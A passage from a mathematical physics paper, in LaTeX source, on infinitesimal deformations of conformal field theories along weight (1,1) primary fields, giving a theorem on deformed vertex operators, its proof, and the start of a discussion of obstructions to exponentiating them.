These foundational questions are enormously difficult, mostly from the philosophical point of view: it is very easy to define ad hoc notions which immediately turn out insufficiently general to be desirable. Because of that, we only make minimal definitions needed to examine the existing paradigm in the context outlined. Let us, then, confine ourselves to observing that even in the perturbative case, the situation is not purely algebraic, and rather involves infinite sums which need to be discussed in terms of analysis. For example, the obstructions may in fact be undefined, because they may involve infinite sums which do not converge. Such phenomenon must be treated carefully, since it doesn’t mean automatically that perturbative exponentiation fails. In fact, because the deformed primary fields are only determined up to a scalar factor, there is a possibility of regularization along the deformation parameter. We briefly discuss this theoretically in section \[sexp\], and then give an example in the case of the free field theory in section \[sfree\].
We also briefly discuss sufficient conditions for exponentiation. The main method we use is the case when Theorem \[l1\] gives a truly local formula for the infinitesimal amplitude changes, which could be interpreted as an “infinitesimal isomorphism” in a special case. We then give in section \[sexp\] conditions under which such infinitesimal isomorphisms can be exponentiated. This includes the case of a coset theory, which doesn’t require regularization, and a more general case when regularization may occur.
In the final sections \[s1\], \[sexam\], namely the case of the Gepner model, the main problem is finding a setup for the vertex operators which would be explicit enough to allow evaluating the obstructions in question; the positive result is obtained using a generalisation of the coset construction. The formulas required are obtained from the Coulomb gas approach (=Feigin-Fuchs realization), which is taken from [@gh].
The present paper is organized as follows: In section \[sinf\], we give the general setup in which we work, show under which condition we can restrict ourselves to deformations along a primary field, and derive the formula for infinitesimally deformed amplitudes, given in Theorem \[l1\]. In section \[sexp\], we discuss exponentiation theoretically, in terms of obstruction theory, explicit formulas for the primary and higher obstructions, and regularization. We also discuss supersymmetry, and in the end show a mechanism by which non-perturbative deformations may still be possible when algebraic obstructions occur. In section \[sfree\], we give the example of the free field theories, the trivial deformations which come from $0$ momentum gravitational deforming fields, and the primary obstruction to deforming along primary fields of nonzero momentum. In section \[s1\], we will discuss the Gepner model of the Fermat quintic, and in section \[sexam\], we will discuss examples of non-zero algebraic obstructions to perturbative deformations in this case, as well as speculations about unobstructed deformations. In Section \[sk3\], we will discuss the (unobstructed) deformations for the Fermat quartic $K3$ surface, and in Section \[scd\], we attempt to summarize and discuss our possible conclusions.
[**Acknowledgements:**]{} The author thanks D.Burns, I.Dolgachev, I.Frenkel, Doron Gepner, Y.Z.Huang, I.Melnikov, K.Wendland and E.Witten for explanations and discussions. Special thanks to H.Xing, who contributed many useful ideas to this project before changing his field of interest.
Infinitesimal deformations of conformal field theories {#sinf}
======================================================
In a bosonic (=non-supersymmetric) CFT $\mathcal{H}$, if we have a primary field $u$ of weight $(1,1)$, then, as observed in [@scft], we can make an infinitesimal deformation of $\mathcal{H}$ as follows: For a worldsheet $\Sigma$ with vacuum $U_{\Sigma}$ (the worldsheet vacuum is the same thing as the “spacetime”, or string, amplitude), the infinitesimal deformation of the vacuum is [$$\label{einf1}V_{\Sigma}=\int_{x\in\Sigma} U_{\Sigma^{x}_{u}}.$$]{} Here $U_{\Sigma^{x}_{u}}$ is obtained by choosing a holomorphic embedding $f:D\r\Sigma$, $f(0)=x$, where $D$ is the standard disk. Let $\Sigma^{\prime}$ be the worldsheet obtained by cutting $f(D)$ out of $\Sigma$, and let $U_{\Sigma^{x}_{u}}$ be obtained by gluing the vacuum $U_{\Sigma^{\prime}}$ with the field $u$ inserted at $f(\partial D)$. The element $U_{\Sigma^{x}_{u}}$ is proportional to $||f^{\prime}(0)||^2$, since $u$ is $(1,1)$-primary, so it transforms the same way as a measure and we can define the integral [(\[einf1\])]{} without coupling with a measure. The integral [(\[einf1\])]{} is an infinitesimal deformation of the original CFT structure in the sense that $$U_{\Sigma}+V_{\Sigma}\epsilon$$ satisfies CFT gluing identities in the ring $\C[\epsilon]/\epsilon^2$.
The main topic of this paper is studying (in this and analogous supersymmetric cases) the question as to when the infinitesimal deformation [(\[einf1\])]{} can be exponentiated at least to perturbative level, i.e. when there exist for each $n\in\mathbb{N}$ elements $$u^0,...,u^{n-1}\in\mh, \; u^0=u$$ and for every worldsheet $\Sigma$ $$U^{0}_{\Sigma},...,U^{n}_{\Sigma}\in\bigotimes \mh^*\otimes \mh$$ such that [$$\label{einf2}U_{\Sigma}(m)={\begin{array}{c}
{\scriptstyle m}\\
\sum\\
{\scriptstyle i=0}\end{array}} U^{i}_{\Sigma}\epsilon^i,
U^{0}_{\Sigma}=U_{\Sigma}$$]{} satisfy gluing axioms in $\C[\epsilon]/\epsilon^{m+1}$, $0\leq m\leq n$, [$$\label{einf3}u(m)={\begin{array}{c}
{\scriptstyle m}\\
\sum\\
{\scriptstyle i=0}\end{array}}u^i\epsilon^i$$]{} is primary of weight $(1,1)$ with respect to [(\[einf2\])]{}, $0<m\leq n$, and [$$\label{einf4}
\frac{dU_{\Sigma}(m)}{d\epsilon}=\int_{x\in\Sigma}U_{\Sigma^{x}_{u(m-1)}}(m-1)$$]{} in the same sense as in [(\[einf1\])]{}.
We should remark that a priori, it is not known that all deformations of CFT come from primary fields: One could, in principle, simply ask for the existence of vacua [(\[einf2\])]{} such that [(\[einf2\])]{} satisfy gluing axioms over $\C[\epsilon]/\epsilon^{m+1}$. As remarked in [@scft], it is not known whether all perturbative deformations of CFT’s are obtained from primary fields $u$ as describe above. However, one can indeed prove that the primary fields $u$ exist given suitable [*continuity assumptions*]{}. Suppose the vacua $U_{\Sigma}(m)$ exist for $0\leq m\leq n$. We notice that the integral on the right hand side of [(\[einf4\])]{} is, by definition, the limit of integrals over regions $R$ which are proper subsets of $\Sigma$ such that the measure of $\Sigma-R$ goes to $0$ (fix an analytic metric on $\Sigma$ compatible with the complex structure). Let, thus, $\Sigma_{D_1,...,D_k}$ be a worldsheet obtained from $\Sigma$ by cutting out disjoint holomorphically embedded copies $D_1,...,D_k$ of the unit disk $D$. Then we calculate $$\begin{array}{l}
\frac{dU_{\Sigma}(m)}{d\epsilon}=\int_{x\in\Sigma}U_{\Sigma^{x}_{u(m-1)}}(m-1)\\
={\begin{array}{c}
{\scriptstyle }\\
\lim\\
{\scriptstyle \mu(\Sigma_{D_1,...,D_k})\r0}\end{array}}U_{\Sigma_{D_1,...,D_k}}(m-1)
\int_{x\in \bigcup D_i} U_{(\bigcup D_i)_{u(m-1)}^{x}}(m-1)\\
={\begin{array}{c}
{\scriptstyle }\\
\lim\\
{\scriptstyle \mu(\Sigma_{D_1,...,D_k})\r0}\end{array}}{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i}\end{array}}U_{\Sigma_{D_i}}(m-1)
\int_{x\in D_i} U_{(D_i)_{u(m-1)}^{x}}(m-1)\\
={\begin{array}{c}
{\scriptstyle }\\
\lim\\
{\scriptstyle \mu(\Sigma_{D_1,...,D_k})\r0}\end{array}}{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i}\end{array}}U_{\Sigma_{D_i}}(m-1)
\frac{
dU_{D_i}(m)}{d\epsilon}
\end{array}$$ assuming [(\[einf4\])]{} for $\Sigma=D$, so the assumption we need is [$$\label{einf5}\frac{dU_{\Sigma}}{d\epsilon}={\begin{array}{c}
{\scriptstyle }\\
\lim\\
{\scriptstyle \mu(
\Sigma_{D_1,...,D_k})\r0}\end{array}} {\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i}\end{array}}U_{\Sigma_{D_i}}(m)\circ \frac{
dU_{D_i}(m)}{d\epsilon}.$$]{} The composition notation on the right hand side means gluing. Granted [(\[einf5\])]{}, we can recover $\frac{d U_{\Sigma}(m)}{d\epsilon}$ from $\frac{d U_{D}(m)}{d\epsilon}$ for the unit disk $D$. Now in the case of the unit disk, we get a candidate for $u(m-1)$ in the following way:
Assume that $\mh$ is topologically spanned by subspaces $\mh_{(m_1,m_2)}$ of $\epsilon$-weight $(m_1,m_2)$ where $m_1,m_2\geq 0$, $\mh_{(0,0)}=\langle U_D\rangle$. Then $U_{D}(m)$ is invariant under rigid notation, so [$$\label{einf6}U_{D}(m)\in{\begin{array}{c}
{\scriptstyle }\\
\hat{\bigotimes}\\
{\scriptstyle k\geq 0}\end{array}}
\mh_{(k,k)}[\epsilon]/\epsilon^{m+1}.$$]{} We see that if $A_q$ is the standard annulus with boundary components $S^1$, $qS^1$ with standard parametrizations, then [$$\label{einf7}u(m-1)={\begin{array}{c}
{\scriptstyle }\\
\lim\\
{\scriptstyle q\r 0}\end{array}}\frac{1}{||q||^2}U_{A_q}
\frac{dU_{D}(m)}{d\epsilon}$$]{} exists and is equal to the weight $(1,1)$ summand of [(\[einf6\])]{}. In fact, by [(\[einf5\])]{} and the definition of integral, we already see that [(\[einf4\])]{} holds. We don’t know however yet that $u(m-1)$ is primary. To see that, however, we note that for any annulus $A=D-D^{\prime}$ where $f:D\r D^{\prime}$ is a holomorphic embedding with derivative $r$, [(\[einf5\])]{} also implies (for the same reason - the exhaustion principle) that [(\[einf4\])]{} is valid with $u(m-1)$ replaced by [$$\label{einf*}\frac{U_{A}u(m-1)}{||r||^2}.$$]{} Since this is true for any $\Sigma$, in particular where $\Sigma$ is any disk, the integrands must be equal, so [(\[einf\*\])]{} and $u(m-1)$ have the same vertex operators, so at least in the absence of null elements, [$$\label{einf8}\frac{U_{A}u(m-1)}{||r||^2}=u(m-1)$$]{} which means that $u(m-1)$ is primary.
We shall see however that there are problems with this formulation even in the simplest possible case: Consider the free (bosonic) CFT of dimension $1$, and the primary field $x_{-1}\tilde{x}_{-1}$. (We disregard here the issue that $\mh$ itself lacks a satisfactory Hilbert space structure, see [@hkd], we could eliminate this problem by compactifying the theory on a torus or by considering the state spaces of given momentum.) Let us calculate [$$\label{einf9}\begin{array}{l}U_{D}^{1}=
\int_D \exp(zL_{-1})\exp(\overline{z}\tilde{L}_{-1})x_{-1}\tilde{x}_{-1}
\\
=\frac{1}{2}{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle k\geq 1}\end{array}}\frac{x_{-k}\tilde{x}_{-k}}{k}.
\end{array}$$]{} We see that the element [(\[einf9\])]{} is not an element of $\mh$, since its norm is ${\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle k\geq 1}\end{array}}1=\infty$. The explanation is that the $2$-point function changes during the deformation, and so therefore does the inner product. Hence, if we Hilbert-complete, the Hilbert space will change as well.
For various reasons however we find this type of direct approach difficult here. For one thing, we wish to consider theories which really do not have Hilbert axiomatizations in the proper sense, including Minkowski signature theories, where the Hilbert approach is impossible for physical reasons. Therefore, we prefer a “vertex operator algebra” approach where we discard the Hilbert completion and restrict ourselves to examining tree level amplitudes. One such axiomatization of such theories was given in [@huang] under the term “full field algebra”. In the present paper, however, we prefer to work from scratch, listing the properties we will use explicitly, and referring to our objects as conformal field theories in the vertex operator formulation.
We will then consider untopologized vector spaces [$$\label{einf10}V=\bigoplus V_{(w_L,w_R)}.$$]{} Here $(w_L,w_R)$ are weights (we refer to $w_L$ resp. $w_R$ as the left resp. right component of the weight), so we assume $w_L-w_R\in \Z$ and usually [$$\label{einf10a}w_L,w_R\geq 0,$$]{} [$$\label{einf11}V_{(0,0)}=\langle U_D\rangle.$$]{} The “no ghost” assumptions [(\[einf10a\])]{}, [(\[einf11\])]{} will sometimes be dropped. If there is a Hilbert space $\mh$, then $V$ is interpreted as the “subspace of states of finite weights”. We assume that for $u\in V_{w_L,w_R}$, we have vertex operators of the form [$$\label{einf12}Y(u,z,\overline{z})=
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle (v_L,v_R)}\end{array}}u_{-v_L-w_L,-v_R-w_R}z^{v_L}\overline{z}^{v_R}.$$]{} Here $u_{a,b}$ are operators which raise the left (resp. right) component of weight by $a$ (resp. $b$). We additionally assume $v_L-v_R\in\Z$ and that for a given $w$, the weights of operators which act on $w$ are discrete. Even more strongly, we assume that [$$\label{einf13}Y(u,z,\overline{z})={\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i}\end{array}}Y_i(u,z)\tilde{Y}_i(u,\overline{z})$$]{} where [$$\label{einf13a}\begin{array}{l}Y_i(u,z)=\sum u_{i;-v_L-w_L}z^{v_L},\\
\tilde{Y}_i(u,\overline{z})=\sum \tilde{u}_{i;-v_R-w_R}\overline{z}^{v_R}
\end{array}$$]{} where all the operators $Y_i(u,z)$ commute with all $\tilde{Y}_j(v,\overline{z})$. The main axiom [(\[einf12\])]{} must satisfy is “commutativity” and “associativity” analogous to the case of vertex operator algebras, i.e. there must exist for fields $u,v,w\in V$ and $w^{\prime}\in V^\vee$ of finite weight, a “$4$-point function” [$$\label{einfz}w^{\prime}Z(u,v,z,\overline{z},t,\overline{t})w$$]{} which is real-analytic and unbranched outside the loci of $z=0$, $t=0$ and $z=t$, and whose expansion in $t$ first and $z$ second (resp. $z$ first and $t$ second, resp. $z-t$ first and $t$ second) is $$w^{\prime}
Y(u,z,\overline{z})Y(v,t,\overline{t})w,$$ $$w^{\prime}Y(v,t,\overline{t})Y(u,z,\overline{z})w,$$ $$w^{\prime}Y(Y(u,z-t,\overline{z-t})v,t,\overline{t})w,$$ respectively. Here, for example, by an expansion in $t$ first and $z$ second we mean a series in the variable $z$ whose coefficients are series in the variable $t$, and the other cases are analogous.
We also assume that Virasoro algebras $\langle L_n\rangle$, $\langle \tilde{L}_n
\rangle$ with equal central charges $c_L=c_R$ act and that [$$\label{einf14}
\begin{array}{l}
Y(L_{-1}u,z,\overline{z})=\frac{\partial}{\partial z} Y(u,z,\overline{z}),\\
Y(\tilde{L}_{-1}u,z,\overline{z})=\frac{\partial}{\partial \overline{z}}
Y(u,z,\overline{z})
\end{array}$$]{} and [$$\label{einf15}
\text{$V_{w_L,w_R}$ is the weight $(w_L,w_R)$ subspace of $(L_0,\tilde{L}_0)$.}$$]{}
[**Remark:**]{} Even the axioms outlined here are meant for theories which are initial points of the proposed perturbative deformations, they are two restrictive for the theories obtained as a result of the deformations themselves. To capture those deformations, it is best to revert to Segal’s approach, restricting attention to genus $0$ worldsheets with a unique outbound boundary component (tree level amplitudes). Operators will then be expanded both in the weight grading and in the perturbative parameter (i.e. the coefficient at each power of the deformation parameter will be an element of the product-completed state space of the original theory). To avoid discussion of topology, we simply require that perturbative coefficients of all compositions of such operators converge in the product topology with respect to the weight grading, and the analytic topology in each graded summand.
In this section, we discuss infinitesimal perturbations, i.e. the deformed theory is defined over $\C[\epsilon]/(\epsilon^2)$ where $\epsilon$ is the deformation parameter. One case where such infinitesimal deformations can be described explicitly is the following
\[l1\] Consider fields $u,v,w\in V$ where $u$ is primary of weight $(1,1)$. Next, assume that $$Z(u,v,z,\overline{z},t,\overline{t})={\begin{array}{c}
{\scriptstyle }\\
\bigoplus\\
{\scriptstyle \alpha,\beta}\end{array}}
Z_{\alpha,\beta}(u,v,z,\overline{z},t,\overline{t})$$ where $$Z_{\alpha,\beta}(u,v,z,\overline{z},t,\overline{t})=
{\begin{array}{c}
{\scriptstyle }\\
\bigoplus\\
{\scriptstyle i}\end{array}}Z_{\alpha,\beta,i}(u,v,z,t)\tilde{Z}_{\alpha,\beta,i}
(u,v,\overline{z},\overline{t})$$ and for $w^{\prime}\in W^{\vee}$ of finite weight, $w^{\prime}Z_{\alpha,\beta,i}(u,v,z,t)(z-t)^{\alpha}z^{\beta}$
(resp. $w^{\prime}\tilde{Z}_{\alpha,\beta,i}
(u,v,\overline{z},\overline{t})\overline{z-t}^{\alpha}\overline{z}^{\beta}$) is a meromorphic (resp. antimeromorphic) function of $z$ on $\C P^{1}$, with poles (if any) only at $0,t,\infty$. Now write [$$\label{einfl*}Y_{u,\alpha,\beta}(v,t,\overline{t})=
(i/2)\int_{\Sigma}Z_{\alpha,\beta}(u,v,z,\overline{z},t,\overline{t})dzd\overline{z},$$]{} so $$Y_u(v,t,\overline{t})=Y(v,t,\overline{t}) +\epsilon {\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle \alpha,\beta}\end{array}}
Y_{u,\alpha,\beta}(v,t,\overline{t})$$ is the infinitesimally deformed vertex operator where $\Sigma$ is the degenerate worldsheet with unit disks cut out around $0,t,\infty$. Assume now further that we can expand [$$\label{einfl1}Z_{\alpha,\beta,i}(u,v,z,t)=Y_{\alpha,\beta,i}(v,t)Y_{\alpha,\beta,i}(u,z)
\;
\text{when $z$ is near $0$},$$]{} [$$\label{einfl2}Z_{\alpha,\beta,i}(u,v,z,t)=Y^{\prime}_{\alpha,\beta,i}(u,z)Y_{
\alpha,\beta,i}(v,t)
\;
\text{when $z$ is near $\infty$},$$]{} [$$\label{einfl3}Z_{\alpha,\beta,i}(u,v,z,t)=Y_{\alpha,\beta,i}
(Y^{\prime\prime}_{\alpha,\beta,i}(u,z-t))v,
t)\;
\text{when $z$ is near $t$}.$$]{} Write $$Y_{\alpha,\beta,i}(u,z)=\sum u_{\alpha,\beta,i,-n-\beta}z^{n+\beta-1},$$ $$Y_{\alpha,\beta,i}^{\prime}(u,z)=\sum u_{\alpha,\beta,i,-n-\alpha-\beta}^{\prime}
z^{n+\alpha+\beta-1},$$ $$Y_{\alpha,\beta,i}^{\prime\prime}(u,z)=\sum u_{\alpha,\beta,i,n-\alpha}^{\prime
\prime}z^{n+\alpha-1},$$ (Analogously with the $\tilde{}$’s.) Assume now [$$\label{ell*}u_{\alpha,\beta,i,0}w=0,\; u_{\alpha,\beta,i,0}^{\prime\prime}v=0,\;
u_{\alpha,\beta,i,0}^{\prime}Y_{\alpha,\beta,i}(v,t)w=0$$]{} and analogously for the $\tilde{}$’s (note that these conditions are only nontrivial when $\beta=0$, resp. $\alpha=0$, resp. $\alpha=-\beta$). Denote now by $\omega_{\alpha,\beta,i,0}$, $\omega_{\alpha,\beta,i,\infty}$, $\omega_{\alpha,\beta,i,t}$ the indefinite integrals of [(\[einfl1\])]{}, [(\[einfl2\])]{}, [(\[einfl3\])]{} in the variable $z$, obtained using the formula $$\int z^kdz=\frac{z^{k+1}}{k+1}\; k\neq -1$$ (thus fixing the integration constant), and analogously with the $\tilde{}$’s. Let then [$$\label{einfl4}
\begin{array}{l}
C_{\alpha,\beta,i}=\omega_{\alpha,\beta,i,\infty}-\omega_{\alpha,\beta,i,t},\\
D_{\alpha,\beta,i}=\omega_{\alpha,\beta,i,\infty}-\omega_{\alpha,\beta,i,0},\\
\tilde{C}_{\alpha,\beta,i}=\tilde{\omega}_{\alpha,\beta,i,\infty}-\tilde{\omega}_{
\alpha,\beta,i,t},\\
\tilde{D}_{\alpha,\beta,i}=\tilde{\omega}_{\alpha,\beta,i,\infty}-\tilde{\omega}_{
\alpha,\beta,i,0}
\end{array}$$]{} (see the comment in the proof on branching). Let $$\phi_{\alpha,\beta,i}=
\pi {\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle n}\end{array}}\frac{u_{\alpha,\beta,i,-n}\tilde{u}_{\alpha,
\beta,i,-n}}{n}$$ where $$Y_{\alpha,\beta,i}(u,z)=\sum u_{\alpha,\beta,i,-n}z^{n-1}$$ and similarly for the $\tilde{}$’s, the ${}^{\prime}$’s and the ${}^{\prime\prime}$’s. (The definition makes sense when applied to fields on which the term with denominator $0$ vanishes.) Then [$$\label{einfl5}{
\begin{array}{l}\protect
Y_{\alpha,\beta,u}(v,t,\overline{t})w={\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i}\end{array}}
\phi_{\alpha,\beta,i}^{\prime} Y(v,t,\overline{t})w \\
\protect
-Y(\phi_{\alpha,\beta,i}^{\prime\prime}v,t,\overline{t})w
-Y(v,t,\overline{t})\phi_{\alpha,\beta,i}w+\\
\protect
C_{\alpha,\beta,i}\tilde{C}_{\alpha,\beta,i}
(-1+e^{-2\pi i\alpha})+D_{\alpha,\beta,i}\tilde{D}_{\alpha,\beta,i}(1-e^{2\pi i
\beta}).
\end{array}
}$$]{} Additionally, when $\alpha=0$, then $D_{\alpha,\beta,i}=\tilde{D}_{\alpha,\beta,i}=0$, and when $\beta=0$ then $C_{\alpha,\beta,i}=\tilde{C}_{\alpha,\beta,i}=0,$ and [$$\label{einfl6}\protect
Y_{\alpha,\beta,u}(v,t,\overline{t})w=
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i}\end{array}}\phi_{\alpha,\beta,i}^{\prime} Y(v,t,\overline{t})w
-Y(\phi_{\alpha,\beta,i}^{\prime\prime}v,t,\overline{t})w-Y(v,t,\overline{t})\phi_{\alpha,\beta,i}w.$$]{} The equation [(\[einfl6\])]{} is also valid when $\alpha=-\beta$.
[**Remark 1:**]{} Note that technically, the integral [(\[einfl\*\])]{} is not defined on the nondegenerate worldsheet described. This can be treated in the standard way, namely by considering an actual worldsheet $\Sigma^{\prime}$ obtained by gluing on standard annuli on the boundary components. It is easily checked that if we denote by $A^{u}_{q}$ the infinitesimal deformation of $A_q$ by $u$, then $$A_{q}^{u}(w)=\phi A_q(w)- A_q(\phi w).$$ Therefore, the Theorem can be stated equivalently for the worldsheet $\Sigma^{\prime}$. The only change needs to be made in formula [(\[einfl5\])]{}, where $\phi^{\prime\prime}$ needs to be multiplied by $s^{-2n}$ and $\phi$ needs to be multiplied by $r^{-2n}$ where $r$ and $s$ are radii of the corresponding boundary components. Because however this is equivalent, we can pretend to work on the degenerate worldsheet $\Sigma$ directly, in particular avoiding inconvenient scaling factors in the statement.
[**Remark 2:**]{} The validity of this Theorem is rather restricted by its assumptions. Most significantly, its assumption states that the chiral $4$ point function can be rendered meromorphic in one of the variables by multiplying by a factor of the form $z^{\alpha}(z-t)^{\beta}$. This is essentially equivalent to the fusion rules being “abelian”, i.e. $1$-dimensional for each pair of labels, and each pair of labels has exactly one product. As we will see (and as is well known), the $N=2$ minimal model is an example of a “non-abelian” theory.
Even for an abelian theory, the theorem only calculates the deformation in the “$0$ charge sector” because of the assumption [(\[ell\*\])]{}. Because of this, even for a free field theory, we will need to discuss an extension of the argument. Since in that case, however, stating precise assumptions is even more complicated, we prefer to treat the special case only, and to postpone the discussion to Section \[sfree\] below.
Let us work on the scaled real worldsheet $\Sigma^{\prime}$. Let $$\eta_{\alpha,\beta,i}=Z_{\alpha, \beta,i}(u,v,z,t)dz,$$ $$\tilde{\eta}_{\alpha,\beta,i}=\tilde{Z}_{\alpha,
\beta,i}(u,v,\overline{z},\overline{t})d\overline{z}.$$ Denote by $\partial_0$, $\partial_{\infty}$, $\partial_t$ the boundary components of $\Sigma^{\prime}$ near $0$, $\infty$, $t$. Then the form $\omega_{\alpha,\beta,i,\infty}\tilde{\eta}_{\alpha,\beta,i}$ is unbranched on a domain obtained by making a cut $c$ connecting $\partial_0$ and $\partial_t$. We have [$$\label{einfl7}\oint_{\partial_t}\omega_{\alpha,\beta,i,t}\tilde{\eta}=-
Y(\phi_{\alpha,\beta,i} v,t,\overline{t})$$]{} [$$\label{einfl8}\oint_{\partial_0}\omega_{\alpha,\beta,i,0}\tilde{\eta}=-
Y(\phi_{\alpha,\beta,i} v,t,\overline{t})\phi_{\alpha,\beta,i}.$$]{} But we want to integrate $\omega_{\alpha,\beta,i}\tilde{\eta}_{\alpha,\beta,i}$ over th boundary $\partial K$: [$$\label{einfl9}\begin{array}{c}
\oint_{\partial K}\omega_{\alpha,\beta,i}\tilde{\eta}_{\alpha,\beta,i}=\\
\oint_{\partial_t}\omega_{\alpha,\beta,i}\tilde{\eta}_{\alpha,\beta,i}+
\oint_{\partial_0}\omega_{\alpha,\beta,i}\tilde{\eta}_{\alpha,\beta,i}+
\oint_{\partial_\infty}\omega_{\alpha,\beta,i}\tilde{\eta}_{\alpha,\beta,i}\\
+\int_{c^+}\omega_{\alpha,\beta,i}\tilde{\eta}_{\alpha,\beta,i}+
\int_{c^-}\omega_{\alpha,\beta,i}\tilde{\eta}_{\alpha,\beta,i}
\end{array}$$]{} where $c^+$, $c^-$ are the two parts of $\partial K$ along the cut $c$, oriented from $\partial_t$ to $\partial_0$ and back respectively. Before going further, let us look at two points $x^+\in c^+$, $x^-\in c^-$ which project to the same point on $c$. We have $$\begin{array}{l}
C(e^{-2\pi i\alpha}-1)\tilde{\eta}(x^-)=\\
C\tilde{\eta}(x^+)-C\tilde{\eta}(x^-)=(\omega_t+C)\tilde{\eta}(x^+)-
(\omega_t+C)\tilde{\eta}(x^-)=\\
\omega_{\infty}\tilde{\eta}(x^+)-\omega_{\infty}\tilde{\eta}(x^-)=(\omega_0+D)
\tilde{\eta}(x^+)-(\omega_o+D)\tilde(x^{-})=\\
D\tilde{\eta}(x^+)-D\tilde{\eta}(x^{-})=D(e^{2\pi i\beta}-1)\tilde{\eta}(x^-)
\end{array}$$ (the subscripts $\alpha,\beta,i$ were omitted throughout to simplify the notation). This implies the relation [$$\label{einfl10}C_{\alpha,\beta,i}(e^{-2\pi i\alpha}-1)=D_{\alpha,\beta,i}(
e^{2\pi i \beta}-1).$$]{} [**Comment:**]{} This is valid when the constants $C_{\alpha,\beta,i}$, $D_{\alpha,\beta,i}$ are both taken at the point $x^-$; note that since the chiral forms are branched, we would have to adjust the statement if we measured the constants elsewhere. This however will not be of much interest to us as in the present paper we are most interested in the case when the constants vanish.
In any case, note that [(\[einfl10\])]{} implies $C_{\alpha,\beta,i}=0$ when $\beta=0\mod\Z$ and $\alpha\neq 0\mod\Z$, and $D_{\alpha,\beta,i}=0$ when $\alpha=0
\mod\Z$ and $\beta\neq 0\mod\Z$. There is an anlogous relation to [(\[einfl10\])]{} between $\tilde{C}_{\alpha,\beta,i}$, $\tilde{D}_{\alpha,\beta,i}$. Note that when $\alpha=0=\beta$, all the forms in sight are unbranched, and [(\[einfl6\])]{} follows directly. To treat the case $\alpha=-\beta$, proceed analogously, but replacing $\omega_{\alpha,\beta,i,\infty}$ by $\omega_{\alpha,\beta,i,0}$ or $\omega_{\alpha,\beta,i,t}$. Thus, we have finished proving [(\[einfl6\])]{} under its hypotheses.
Returning to the general case, let us study the right hand side of [(\[einfl9\])]{}. Subtracting the first two terms from [(\[einfl7\])]{}, [(\[einfl8\])]{}, we get [$$\label{einfl11}\oint_{\partial_t}C_{\alpha,\beta,i}\tilde{\eta}_{\alpha,
\beta,i}, \;
\oint_{\partial_0}D_{\alpha,\beta,i}\tilde{\eta}_{\alpha,
\beta,i},$$]{} respectively. On the other hand, the sum of the last two terms, looking at points $x^+,x^-$ for each $x\in c$, can be rewritten as [$$\label{einfl12}\int_{c^+} C_{\alpha,\beta,i}(-e^{-2\pi i\alpha}+1)
\tilde{\eta}_{\alpha,\beta,i}=\int_{c^-}D_{\alpha,\beta,i}(-e^{2\pi i \beta}+1)
\tilde{\eta}_{\alpha,\beta,i}.$$]{} Now recall [(\[einfl4\])]{}. Choosing $\tilde{\omega}_{\alpha,\beta,i,\infty}$ as the primitive function of $\tilde{\eta}_{\alpha,\beta,i}$, we see that for the end point $x$ of $c^-$, [$$\label{einfl13}\begin{array}{l}
\tilde{\omega}_{\alpha,\beta,i,\infty}(x^+)-\tilde{\omega}_{\alpha,\beta,i,\infty}(x^-)
=\\
\tilde{\omega}_{\alpha,\beta,i,t}(x^+)-\tilde{\omega}_{\alpha,\beta,i,t}(x^-)=\\
(e^{-2\pi i\alpha}-1)\tilde{\omega}_{\alpha,\beta,i,t}(x^{-})=\\
(e^{-2\pi i\alpha}-1)\tilde{\omega}_{\alpha,\beta,i,\infty}(x^-)+
(e^{-2\pi i\alpha}-1)\tilde{C}_{\alpha,\beta,i}.
\end{array}$$]{} Similarly, for the beginning point $y$ of $c^-$, [$$\label{einfl14}\begin{array}{l}
-\tilde{\omega}_{\alpha,\beta,i,\infty}(y^+)+\tilde{\omega}_{\alpha,\beta,i,\infty}(y^-)
=\\
-\tilde{\omega}_{\alpha,\beta,i,0}(y^+)+\tilde{\omega}_{\alpha,\beta,i,0}(y^-)=\\
-(e^{2\pi i\beta}-1)\tilde{\omega}_{\alpha,\beta,i,0}(y^{-})=\\
-(e^{2\pi i\beta}-1)\tilde{\omega}_{\alpha,\beta,i,\infty}(y^-)-
(e^{2\pi i\beta}-1)\tilde{D}_{\alpha,\beta,i}.
\end{array}$$]{} Then [(\[einfl13\])]{}, [(\[einfl14\])]{} multiplied by $C_{\alpha,\beta,i}$ are the integrals [(\[einfl11\])]{}, while the integral [(\[einfl12\])]{} is [$$\label{einfl15}-D_{\alpha,\beta,i}(1-e^{2\pi i\beta})\tilde{\omega}_{\alpha,
\beta,i,0}(y^-)+C_{\alpha,\beta,i}(1-e^{-2\pi i\alpha})\tilde{\omega}_{
\alpha,\beta,i,0}(x^-).$$]{} Adding this, we get $$C_{\alpha,\beta,i}\tilde{C}_{\alpha,\beta,i}
(-1+e^{-2\pi i\alpha})+D_{\alpha,\beta,i}\tilde{D}_{\alpha,\beta,i}(1-e^{2\pi i
\beta}),$$ as claimed.
Exponentiation of infinitesimal deformations {#sexp}
============================================
Let us now look at primary weight $(1,1)$ fields $u$. We would like to investigate whether the infinitesimal deformation of vertex operators (more precisely worldsheet vacua or string amplitudes) along $u$ indeed continues to a finite deformation, or at least to perturbative level, as discussed in the previous section. Looking again at the equation [(\[einf4\])]{}, we see that we have in principle a series of obstructions similar to those of Gerstenhaber [@gerst], namely if we denote by [$$\label{eexp1}L_n(m)={\begin{array}{c}
{\scriptstyle m}\\
\sum\\
{\scriptstyle i=0}\end{array}}L_{n}^{i}\epsilon^{i},\;
L_{n}^{0}=L_n$$]{} a deformation of the operator $L_n$ in $Hom(V,V)[\epsilon]/\epsilon^m$, we must have [$$\label{eexp2}L_n(m)u(m)=0\in V[\epsilon]/\epsilon^{m+1} \;\text{for $n>0$}$$]{} [$$\label{eexp3}L_0(m)u(m)=u(m)\in V[\epsilon]/\epsilon^{m+1}.$$]{} This can be rewritten as [$$\label{eexp4}\begin{array}{l}
L_n u^m=-{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i\geq 1}\end{array}}L_{n}^{i}u^{m-i}\\
(L_0-1)u^{m}=-{\begin{array}{c}
{\scriptstyle }\\
